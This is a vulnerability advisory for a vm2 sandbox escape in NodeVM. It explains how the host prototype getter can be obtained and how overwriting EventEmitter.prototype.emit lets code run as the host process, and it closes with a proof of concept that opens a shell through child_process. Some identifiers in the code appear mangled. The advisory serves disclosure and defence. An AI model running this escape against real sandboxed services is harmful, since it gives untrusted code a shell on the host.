CVE-2026-92955: vm2 before 3.11.8 Sandbox Escape via NodeVM

Summary

It being possible to obtain the host proto getter/setter, has been used in many reports:

- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq - https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg - https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p - https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6

Yet it was never patched...

---

This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console.stdout/console.stderr (NodeVM with console: 'inherit', which is the default)

Details

The prototype chain for console.stdout/console.stderr is:

stdout / stderr -> WriteStream (TTY only) -> Socket -> Duplex -> Readable -> Stream -> EventEmitter

process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype

By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.

This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.

PoC

js const { NodeVM } = require("vm2");

code = const gP = Buffer.call.call(lookupGetter,67,'proto');

// vm proto getter console.log(lookupGetter.call(0,'proto').call(console.stderr)); // [Object: null prototype] {}

// host proto getter console.log(gP.call(console.stderr)); // Socket { [...] }

let p = console.stdout; while (p.pipe) { console.log(p.constructor.name); p = gP.call(p); };

p.emit = function(){ console.log(this+[]); this.getBuiltinModule("childprocess").execSync("sh",{stdio:"inherit"}) } ;

const vm = new NodeVM(); vm.run(code);